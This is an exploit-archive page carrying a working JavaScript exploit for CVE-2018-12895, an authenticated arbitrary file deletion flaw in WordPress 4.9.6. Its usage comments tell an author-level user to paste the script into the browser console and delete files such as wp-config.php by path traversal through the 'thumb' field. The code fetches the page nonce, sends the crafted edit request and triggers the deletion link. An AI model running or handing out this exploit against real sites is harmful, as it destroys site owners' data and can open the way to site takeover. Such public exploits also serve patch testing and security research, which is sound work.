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WordPress 4.9.6 Arbitrary File Deletion

WordPress 4.9.6 Arbitrary File Deletion
Posted Oct 25, 2021
Authored by samguy

WordPress version 4.9.6 arbitrary file deletion exploit. Original discovery of this vulnerability is attributed to VulnSpy in June of 2018.

tags | exploit, arbitrary
advisories | CVE-2018-12895
SHA-256 | 9e26b80d1679329336158f3cd64555119dd28f5c169070eeb582f83fd788eb26

WordPress 4.9.6 Arbitrary File Deletion

Change Mirror Download
# Exploit Title: Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) (2)
# Date: 04/08/2021
# Exploit Author: samguy
# Vulnerability Discovery By: Slavco Mihajloski & Karim El Ouerghemmi
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/wordpress-4.9.6.tar.gz
# Version: 4.9.6
# Tested on: Linux - Debian Buster (PHP 7.3)
# Ref : https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution
# EDB : EDB-44949
# CVE : CVE-2018-12895

/*

Usage:
1. Login to wordpress with privileges of an author
2. Navigates to Media > Add New > Select Files > Open/Upload
3. Click Edit > Open Developer Console > Paste this exploit script
4. Execute the function, eg: unlink_thumb("../../../../wp-config.php")
*/

function unlink_thumb(thumb) {

$nonce_id = document.getElementById("_wpnonce").value
if (thumb == null) {
console.log("specify a file to delete")
return false
}
if ($nonce_id == null) {
console.log("the nonce id is not found")
return false
}

fetch(window.location.href.replace("&action=edit",""),
{
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: "action=editattachment&_wpnonce=" + $nonce_id + "&thumb=" + thumb
})
.then(function(resp0) {
if (resp0.redirected) {
$del = document.getElementsByClassName("submitdelete deletion").item(0).href
if ($del == null) {
console.log("Unknown error: could not find the url action")
return false
}
fetch($del,
{
method: 'GET',
credentials: 'include'
}).then(function(resp1) {
if (resp1.redirected) {
console.log("Arbitrary file deletion of " + thumb + " succeed!")
return true
} else {
console.log("Arbitrary file deletion of " + thumb + " failed!")
return false
}
})
} else {
console.log("Arbitrary file deletion of " + thumb + " failed!")
return false
}
})
}


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